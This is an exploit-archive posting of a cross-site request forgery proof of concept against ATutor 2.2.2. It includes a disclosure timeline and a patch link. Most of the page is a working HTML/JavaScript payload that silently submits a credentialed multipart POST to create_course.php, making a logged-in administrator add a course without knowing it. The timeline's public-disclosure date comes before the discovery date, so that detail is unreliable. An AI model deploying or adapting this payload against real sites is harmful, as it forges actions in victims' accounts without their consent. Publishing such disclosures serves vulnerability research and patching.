what you don't know can hurt you

ATutor 2.2.2 Cross Site Request Forgery

ATutor 2.2.2 Cross Site Request Forgery
Posted Nov 14, 2016
Authored by Saravana Kumar

ATutor version 2.2.2 cross site request forgery proof of concept that adds a new course.

tags | exploit, proof of concept, csrf
MD5 | f14414f1cea85260c58ebbcfd9f1fd8b

ATutor 2.2.2 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: ATutor_2.2.2 Learning Management System 
# Cross-Site Request Forgery (Add New Course)
# Date: 13-11-2016
# Software Link: https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2
# Vendor: http://www.atutor.ca/
# Exploit Author: Saravana Kumar
# Contact: https://facebook.com/06saravanakumar
# Category: webapps
# Version: 2.2.2
# Platform: PHP
# Tested on: [Kali Linux 2.0 | Windows 7]
# Email: 06saravanakumar@gmail.com
# Affected URL:
http://localhost/ATutor/mods/_core/courses/users/create_course.php

==================================
Vulnerability Disclosure Timeline:a"==================================a"2016-11-07: Found the vulnerability and Reported to Vendor.a"2016-11-08: Vendor Replied.a"2016-11-10: Vendor Fixed the vulnerability.a"2016-11-11: Patch releaseda"2016-10-12: Public Disclosure

########################### CSRF PoC ###############################

<html>
<------ CSRF POC ------>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/ATutor/mods/_core/courses/users/create_course.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------34481053430281");
xhr.withCredentials = true;
var body = "-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"form_course\"\r\n" +
"\r\n" +
"true\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"819200\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"course\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"old_access\"\r\n" +
"\r\n" +
"protected\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"created_date\"\r\n" +
"\r\n" +
"2016-11-07 06:55:20\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"show_courses\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"current_cat\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"title\"\r\n" +
"\r\n" +
"Programming Language\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"pri_lang\"\r\n" +
"\r\n" +
"en\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"description\"\r\n" +
"\r\n" +
"Python\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"category_parent\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"content_packaging\"\r\n" +
"\r\n" +
"top\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"rss\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"access\"\r\n" +
"\r\n" +
"protected\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"release_date\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"day_release\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"month_release\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"year_release\"\r\n" +
"\r\n" +
"2016\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"hour_release\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"min_release\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"end_date\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"day_end\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"month_end\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"year_end\"\r\n" +
"\r\n" +
"2017\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"hour_end\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"min_end\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"setvisual\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"banner\"\r\n" +
"\r\n" +
"\x3cp\x3eCan fill content what ever you want.\x3c/p\x3e\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"initial_content\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"quota\"\r\n" +
"\r\n" +
"-2\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"filesize\"\r\n" +
"\r\n" +
"-3\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"tracking\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"copyright\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"boolForce\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"icon\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"819200\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"customicon\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"custOptCount\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"courseId\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Save\r\n" +
"-----------------------------34481053430281--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

---------------------------------------------------------------------------

Solution:

Patch is available. Install patch using the ATutor Patcher.

Link to download patch:

http://update.atutor.ca/patch/2_2_2/2_2_2-6/patch.xml
---------------------------------------------------------------------------

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